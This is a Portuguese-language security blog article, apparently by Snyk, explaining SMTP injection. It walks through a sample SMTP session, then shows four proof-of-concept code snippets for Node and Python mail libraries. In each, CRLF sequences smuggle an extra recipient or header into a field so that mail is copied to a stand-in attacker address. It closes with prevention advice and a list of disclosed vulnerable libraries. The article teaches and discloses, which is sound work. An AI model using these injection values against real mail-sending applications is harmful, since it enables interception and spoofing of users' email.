Skip to main content

Como evitar a injeção SMTP: uma introdução à análise white-box

Escrito por
Headshot of Sam Sanoop

Sam Sanoop

feature smtp injection

15 de setembro de 2022

0 minutos de leitura

As vulnerabilidades de injeção SMTP costumam ser mal compreendidas por desenvolvedores e profissionais de segurança, além de passarem despercebidas por ferramentas de análise estática. Neste artigo, vamos explicar como vulnerabilidades comuns de injeção SMTP podem existir em bibliotecas e aplicações e trazer dicas para encontrá-las e corrigi-las rapidamente.

Introdução ao SMTP

O Simple Mail Transfer Protocol (SMTP) é um protocolo de e-mail usado para enviar e receber mensagens. Clientes de e-mail usados pelos usuários normalmente utilizam o SMTP para enviar mensagens a um servidor de e-mail, que as retransmite. Os servidores SMTP costumam usar o Transmission Control Protocol nas portas 25 (para texto sem criptografia) e 587 (para comunicações criptografadas).

Softwares e aplicações modernos costumam usar o protocolo SMTP em etapas do fluxo de uso e enviar e-mails em resposta a ações do usuário. Um exemplo são os e-mails de confirmação de cadastro, que podem incluir o endereço de e-mail do usuário e um texto de boas-vindas predefinido, e retransmitir essa mensagem a um servidor SMTP para que ela seja enviada à conta de e-mail do usuário.

Durante uma sessão SMTP entre um cliente e um servidor SMTP, o cliente pode usar vários comandos. Veja alguns exemplos comuns:

  • HELO/EHLO - O comando HELO inicia a comunicação da sessão SMTP. Por exemplo: HELO snyk.io.

  • MAIL FROM - O comando MAIL FROM inicia a transferência de e-mail e especifica um endereço de origem. Por exemplo: MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

  • RCPT TO - O comando RCPT TO especifica o destinatário do e-mail. Por exemplo: RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

  • DATA - Com o comando DATA, o cliente solicita permissão ao servidor para transferir os dados do e-mail. O código de resposta 354 concede essa permissão, e o cliente inicia o envio do conteúdo do e-mail, linha por linha. A transmissão de DATA pode ser encerrada com o caractere .

Veja abaixo um exemplo de comunicação SMTP entre um cliente e um servidor.

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}

O que é injeção SMTP

A injeção SMTP pode ocorrer quando um invasor consegue inserir comandos SMTP arbitrários em uma comunicação SMTP entre um cliente e um servidor. Isso pode acontecer por meio da inserção de caracteres CRLF adicionais em parâmetros controlados pelo usuário, que podem ser incluídos em um comando SMTP sem validação ou sanitização adequada.

Esses casos costumam ocorrer em aplicações web que usam bibliotecas para enviar comandos SMTP ou têm implementações internas que não validam os parâmetros controlados pelo usuário.

O impacto da injeção SMTP pode variar de acordo com o contexto da aplicação afetada. Entre os impactos mais comuns estão:

  • Enviar cópias de e-mails a terceiros.

  • Modificar o conteúdo da mensagem enviada ao servidor SMTP.

  • Usar a aplicação afetada pela injeção SMTP como proxy para realizar ataques de phishing.

Para entender melhor a injeção SMTP, vamos analisar os exemplos a seguir.

Cenário 1 de injeção SMTP

Desenvolvedores costumam usar bibliotecas de terceiros para enviar e-mails a um servidor SMTP, como alternativa às funções SMTP das bibliotecas padrão. Um exemplo é a smtp-client. A smtp-client oferece vários campos para definir o nome do host, a autenticação, o destinatário e os remetentes, que podem então ser enviados como parte de uma mensagem SMTP.

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

No entanto, considere um cenário em que não é possível definir o campo s.rcpt e somente o campo s.mail é controlado pelo usuário. Nesses casos, os caracteres CRLF podem ser usados para inserir um novo comando, como from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Exemplo:

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Como não houve validação, o cliente SMTP processa os caracteres CRLF e interpreta RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) como um novo comando SMTP. A imagem a seguir mostra esse comando sendo aceito por um servidor SMTP.

Log de depuração SMTP mostrando autenticação bem-sucedida, endereços do remetente e do destinatário, respostas de aceitação e o fim dos dados da mensagem.

Além da smtp-client, a Snyk também encontrou vulnerabilidades de injeção SMTP em vários campos dos pacotes Perl Email MIME e Net::SMTP. O problema de segurança foi reportado aos responsáveis pela manutenção das bibliotecas, e as versões mais recentes desses pacotes já incluem correções.

Cenário 2 de injeção SMTP

Também existem bibliotecas de baixo nível em vários ecossistemas de linguagens de programação que desenvolvedores podem usar para se comunicar com um servidor SMTP. Um exemplo é a smtp-channel.

No caso da smtp-channel, desenvolvedores podem criar e-mails para usuários usando dados fornecidos por eles e passar esses dados para a smtp-channel como um fluxo. Nesses casos, um invasor pode adicionar cabeçalhos e usar a sessão SMTP existente para falsificar um e-mail. O código a seguir demonstra o problema:

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);

Cenário 3 de injeção SMTP

Bibliotecas de criação de e-mails usadas em conjunto com clientes SMTP também podem ser afetadas pela injeção SMTP. Um exemplo desse problema está no pacote Python email, uma biblioteca para gerenciar mensagens de e-mail. Nesse caso, é possível realizar uma injeção SMTP fornecendo caracteres CRLF ao campo mail.headerregistry.Address.

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)

A imagem a seguir mostra o comando RCPT existente sendo encerrado com o caractere > e um novo cabeçalho cC sendo injetado com \r\n. Ele será enviado como um novo comando RCPT, como mostrado abaixo.

Log do terminal mostrando o envio bem-sucedido de um e-mail de teste via SMTP, com o assunto “Example Subject”, detalhes do remetente e do destinatário e a confirmação de que a mensagem foi adicionada à fila.

Vale destacar que a equipe de segurança do Python corrigiu essa vulnerabilidade nas versões 3.X. Clique aqui para ver as notas de lançamento completas. No entanto, as versões 2.X continuam vulneráveis.

Cenário 4 de injeção SMTP

Ao investigar vulnerabilidades de injeção SMTP, vale lembrar que outros campos, como o nome do host e o endereço de origem, também podem aceitar caracteres CRLF e, portanto, permitir uma injeção SMTP.

No exemplo a seguir, os campos From e To fornecidos ao aiosmtplib são sanitizados. No entanto, ainda é possível injetar dados em source_address e inserir um comando SMTP arbitrário. Veja abaixo a prova de conceito (PoC) que demonstra o problema:

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

Isso gera a seguinte comunicação SMTP.

Terminal exibindo uma troca de mensagens SMTP com comandos, respostas do servidor, um comando MAIL rejeitado e comandos de reinicialização e encerramento bem-sucedidos.

Outros casos a considerar

Em algumas situações, bibliotecas de e-mail também podem permitir a execução de código. Um exemplo é a função mail(). Se uma entrada fornecida pelo usuário chegar ao quinto parâmetro da função mail(), um invasor poderá explorá-la para executar código. Clique aqui para ver um exemplo desse problema.

As vulnerabilidades de injeção SMTP costumam ser confundidas com vulnerabilidades de injeção de e-mail. Em uma vulnerabilidade de injeção de e-mail, um invasor pode explorar um recurso de envio de mensagens usando uma função SMTP para enviar e-mails arbitrários e realizar ataques de phishing. Já na injeção SMTP, caracteres CRLF são usados para inserir cabeçalhos arbitrários, que podem então ser usados para falsificar e-mails e realizar ataques de phishing.

Como prevenir a injeção SMTP

A injeção SMTP é uma vulnerabilidade que desenvolvedores e responsáveis pela manutenção de bibliotecas open source muitas vezes deixam passar. Na maioria dos casos, a correção deve ser feita pelos responsáveis pela manutenção das bibliotecas. Muitas bibliotecas conhecidas, como JavaMail, PHPMailer e RubyMail, já previnem a injeção SMTP ao sanitizar caracteres CRLF. Em bibliotecas de baixo nível, como smtp-channel, cabe ao desenvolvedor que usa a biblioteca validar e sanitizar os dados de entrada fornecidos pelo usuário.

Para ajudar a tornar a comunidade open source mais segura, a equipe de segurança da Snyk também divulgou vulnerabilidades de injeção SMTP nas bibliotecas a seguir.

Biblioteca

Linguagem

Versão corrigida

SMTPMail-drogon

C

Corrigido na versão Master

Email::MIME

Perl

Não há correção disponível

Net::SMTP

Perl

Não há correção disponível

aiosmtplib

Python

Corrigido na versão 1.1.7

smtpclient

NodeJS

Não há correção disponível

Comece a resolver desafios de capture the flag

Aprenda a resolver desafios de capture the flag assistindo sob demanda ao nosso workshop virtual introdutório.